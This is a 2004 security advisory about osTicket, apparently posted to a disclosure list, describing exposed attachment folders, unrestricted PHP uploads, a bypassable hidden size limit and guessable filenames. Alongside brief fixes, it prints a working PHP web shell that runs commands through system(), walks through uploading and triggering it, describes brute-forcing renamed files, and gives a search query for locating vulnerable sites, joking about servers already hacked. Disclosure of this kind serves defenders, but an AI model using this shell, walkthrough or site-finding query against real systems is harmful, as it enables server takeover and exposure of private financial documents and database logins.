Multiple osTicket exploits!
ATTENTION ALL SITES USING OSTICKET. PLEASE DISABLE UPLOADS.
June 17 2004. Multiple Problems with osTicket
Software Data:
OSTICKET, http://www.osticket.com/
"Need to test the system before you install? Then try our demo version of the
latest release of osTicket.
DEMO DISABLED"
Note: When a software group will not run their own program, you know it's not
safe for you to run.
Problem:
CPanel and other webservers display directory listings of the
/osticket/attachments folder. The documents here are private and often
financial in nature.
Solution:
Disable directory listing, change osTicket upload code.
Details:
First look at a site using osticket
www.example.com/osticket/
Create a new ticket and upload a file with ticket.
Visit
www.example.com/osticket/attachments/
Now you see your uploaded file here. If you uploaded a PHP document containing
<?PHP
echo "<form action = ''><input type = 'text' name = 'cmd' value = '$cmd' size =
'75'><BR>";
if (!$cmd)die;
system($cmd);
?>
You can now run commands on the server by clicking the script.
There's more:
The os ticket software limits the size of uploads by a "hidden" field in the
submit form. A user can modify this and upload a file of ANY size possibly
leading the site to be shut down if it has webspace or traffic limitations.
Extra:
About 2/3 of sites using the osTicket software do not have directory listings
turned on. For the determined hacker they are not safe. When a file is
uploaded, it is renamed ######_filename where # is a random number. Because
there are no ip restrictions on number of tickets a user could upload the PHP
script say 100 times then use another script to randomly guess numbers followed
by _name. Then in a MAX of 10k tries they will have hacked the server. This
means that the other 2/3 of sites are hackable, just over a longer period of
time.
I am sorry to all the servers that were hacked to discover this exploit. (funny
joke)
Other:
Cpanel includes osticket. osticket is free. Sites can be found on google with
the following url, changed around depending on what you want.
http://www.google.com./search?q=%22Main%22+%22Help%22+%22Support+Ticket+System%22+php+attachment&hl=en&lr=&ie=UTF-8&start=10&sa=N
osTicket requires sql and these exploits lead to the database login info being
shown.
